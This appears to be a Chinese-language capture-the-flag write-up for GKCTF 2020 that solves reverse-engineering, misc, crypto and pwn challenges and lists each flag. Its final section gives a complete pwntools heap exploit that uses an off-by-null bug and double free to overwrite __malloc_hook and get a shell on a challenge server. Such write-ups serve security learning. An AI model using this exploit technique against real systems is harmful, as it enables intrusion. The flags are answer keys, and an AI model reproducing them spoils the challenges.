RE
Check_1n
在程序中找到登錄密碼
flag選項結果base64解碼如下
選第二個,什麼都不做,結束就有flag
Misc
簽到
flag就在屏幕上:flag{Welcome_To_GKCTF_2020}
Pokémon
根據開始能選擇的精靈,判斷出是綠寶石493
下載個通關存檔,走到103號道路,就能看見flag:
flag爲:flag{PokEmon_14_CutE}
Harley Quinn
打開壓縮包,發現一個一串字符:FreeFileCamouflage
用AU打開,在最後發現一段dtmf
對比得到:#222833344477773338866#
該題使用了手機鍵盤加密方式,原理如下:
但是直接解的話,28肯定就不對了,又從每個數字的次數着手:
比如222,記爲23
8,記爲81
得到密碼:ctfisfun
根據最開始的提示,用該軟件1.25版本提取出flag,這裏好像還要把圖片後綴改爲jpg,不然不能識別
code obfuscation
binwalk -e提取出壓縮包:
之後修復二維碼
首先,用ppt把斷開的圖片拼起來,調整一下大小,用微信掃出base(gkctf)
嘗試各種base,最後base58成功
把1中的js代碼扔進console執行,結果如下
剛剛看了官方WP,說這個是js混淆,提供了一個網站解密:JS混淆加密壓縮
結果如下
for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An = "n"
done
for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An = "n"
done
num = 0
for n in a b c d e f g h i j do eval Bn = "n"
num =
$((num + 1)) done alert("Bk=' ';Bm='"
';Bn='#
';Bs=' (';Bt=')
';By='.
';Cb=';
';Cc=' < ';Ce=' > ';Cl='
_ ';Cn=' {
';Cp='
}
';Da='
0 ';Db='
1 ';Dc='
2 ';Dd='
3 ';De='
4 ';Df='
5 ';Dg='
6 ';Dh='
7 ';Di='
8 ';Dj='
9 ';")
得到了圖片中字符的對應關係,映射一下,得到一個C程序
for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An="n"done for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An="n"done num=0 for n in a b c d e f g h i j do eval Bn="n"num=$((num+1))done alert("Bk=' ';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb=';';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';")
Bn Ai An Ac Al Au Ad Ae Bk Cc As At Ad Ai Ao By Ah Ce
Ai An At Bk Am Aa Ai Bs Bt Cn
Ap Ar Ai An At Bs Bm Aw Dd Al Ac Da Am Ae Cl De Ao Cl Dj Ak Ac At Df Bm Bt Cb
Ar Ae At Au Ar An Bk Da Cb
Cp
Bk=' ';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb=';';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';
#include <stdio.h>
int ai(){
print("w3lc0me_4o_9kct5");
return 0;
}
因此flag爲:flag{w3lc0me_4o_9kct5}
Crypto
小學生的密碼學
根據題目%26猜測範圍是a-z,寫個腳本爆破
import string
import base64
ans = 'welcylk'
table = 'abcdefghijklmnopqrstuvwxyz'
flag = ''
for pos in range(len(ans)):
for i in range(len(table)):
tmp = (11*i+6)%26
t_ans = table[tmp]
if t_ans == ans[pos]:
flag += table[i]
break
print(flag)
print(base64.b64encode(flag.encode()))
漢字的祕密
當鋪密碼,每個漢字對應的數字如下
腳本解密,得到字符串:EJ>CvSHMV7G9R9@?3k
猜測開頭爲FLAG,而前四個的差分別爲1,2,3,4
猜測解密結果要加上位置
最終腳本
s = [69, 74, 62, 67, 118, 83, 72, 77, 86, 55, 71, 57, 82, 57, 64, 63, 51, 107]
ans = ''
for i in range(len(s)):
ans += chr(s[i]+1+i)
print i, chr(s[i]+1+i)
print ans
print ans.lower()
PWN
Domo
add處有off-by-null
並且add和delete都有check,如果寫了hook就無法執行了
退出循環會開啓沙箱
這題比賽時候還真的沒思路,就知道off-by-null塊重疊之後泄露libc+double free改__malloc_hook
,但是之後就不知道怎麼弄了,後面在羣裏看到有師傅說scanf輸入長度過長會觸發malloc,突然就恍然大悟,下面是Exp
from pwn import *
r = remote("node3.buuoj.cn", 27130)
#r = process("./domo/domo")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./domo/domo")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "> "
def add(size1, content1):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("size:\n")
r.sendline(str(size1))
r.recvuntil("content:\n")
r.send(content1)
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("index:\n")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("addr:\n")
r.sendline(str(index))
r.recvuntil("num:\n")
r.send(content)
def show(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("index:\n")
r.sendline(str(index))
add(0xf0, 'chunk0')
add(0x60, 'chunk1')
add(0xf0, 'chunk2')
add(0x10, 'chunk3')
delete(1)
delete(0)
add(0x68, 'a'*0x60+p64(0x170))#0
delete(2)
add(0xf0, 'aa')#1
show(0)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("malloc_hook:"+hex(malloc_hook))
one_gadget = libc.address + one_gadget_16[3]
add(0x60, 'aa')#2
add(0x60, 'aa')#4
delete(0)
delete(4)
delete(2)
add(0x60, p64(malloc_hook-0x23))#0
add(0x60, p64(malloc_hook-0x23))#2
add(0x60, p64(malloc_hook-0x23))#4
payload = 'a'*0x13 + p64(one_gadget)
add(0x60, payload)
r.recvuntil(menu)
r.sendline('2'*0x1001)
r.interactive()